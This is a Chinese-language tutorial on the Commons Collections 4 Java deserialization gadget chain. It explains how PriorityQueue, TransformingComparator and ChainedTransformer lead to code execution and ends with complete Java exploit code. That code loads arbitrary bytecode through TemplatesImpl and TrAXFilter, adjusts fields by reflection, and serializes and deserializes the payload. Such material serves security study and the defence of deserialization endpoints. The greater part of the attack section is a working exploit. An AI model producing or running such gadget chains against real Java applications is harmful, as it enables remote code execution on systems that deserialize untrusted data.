java cc链4
在cc4上,需要在pom.xml中加入
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
这个其实还是围绕在 ChainedTransformer.transform
方法的执行,至于是使用字节码加载或者使用InvokerTransformer.transform
都是可以的,
这里使用TransformingComparator.compare
方法
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
当传入的transformer
为ChainedTransformer
时候,就会调用ChainedTransformer.transform
所以
transformerChain.transform(1);
//可以替换为下面的内容
TransformingComparator transformingComparator = new TransformingComparator(transformerChain,null);
transformingComparator.compare("1",null);//或者 transformingComparator.compare(null,"1");
在PriorityQueue.siftDownUsingComparator
方法中调用了
heapify(); heapify() siftDown()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
而siftDownUsingComparator
–>siftDown()
–>heapify()
,而heapify()
位于readObject
方法中,只需要满足链路过程中的if判断即可
首先在
private int size = 0;
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这里解释一下size >>> 1
,将size的二进制表示向右移动指定的位数,这里是1,如果size是1 二进制是0001,1>>>1输出的是0,2 0010 2>>>1 1,这里面要进入for循环中,就需要size的值最少为2,需要找到一个方法修改默认的size属性值,这里找到了offer方法,
private int size = 0;
transient Object[] queue;
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
然后发现在add方法中调用了该方法,
public boolean add(E e) {
return offer(e);
}
随意传入一个值,使得e == null
,由于queue默认为空,所以queue.length
为null,if判断不成立,size = i + 1;,由于进入heapify()
的for循环需要size>=2
,所以需要添加两个数值,
TransformingComparator transformingComparator = new TransformingComparator(transformerChain,null);
PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
objects.add("1");
objects.add("2");
但是在offer方法中,i>=1,导致下一个if不成立,进入siftUp方法,然后有调用siftUpUsingComparator,导致在序列化的过程中就会执行系统命令,我们使用cc6的断链,再反射修复链路即可,这里在
TransformingComparator处进行修改,
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue test = new PriorityQueue<>(transformingComparator);
test.add(1);
test.add(2);
Class chainedTransformerClass =transformingComparator.getClass();
Field transformer = chainedTransformerClass.getDeclaredField("transformer");
transformer.setAccessible(true); transformer.set(transformingComparator,transformerChain);
或者 使用反射的方式修改size的属性值
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue test = new PriorityQueue<>(transformingComparator);
Class aClass = test.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(test,2);
最后的代码为
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
input
};
Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(1);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
// transformingComparator.compare("1",null);
// transformingComparator.compare(null,"1");
PriorityQueue test = new PriorityQueue<>(transformingComparator);
// test.add(1);
// test.add(2);
Class aClass = test.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(test,2);
// Class chainedTransformerClass =transformingComparator.getClass();
// Field transformer = chainedTransformerClass.getDeclaredField("transformer");
// transformer.setAccessible(true);
// transformer.set(transformingComparator,transformerChain);
// serialize(test);
unserialize("person.bin");
}
注意事项:导入的库需要在org.apache.commons.collections4
下面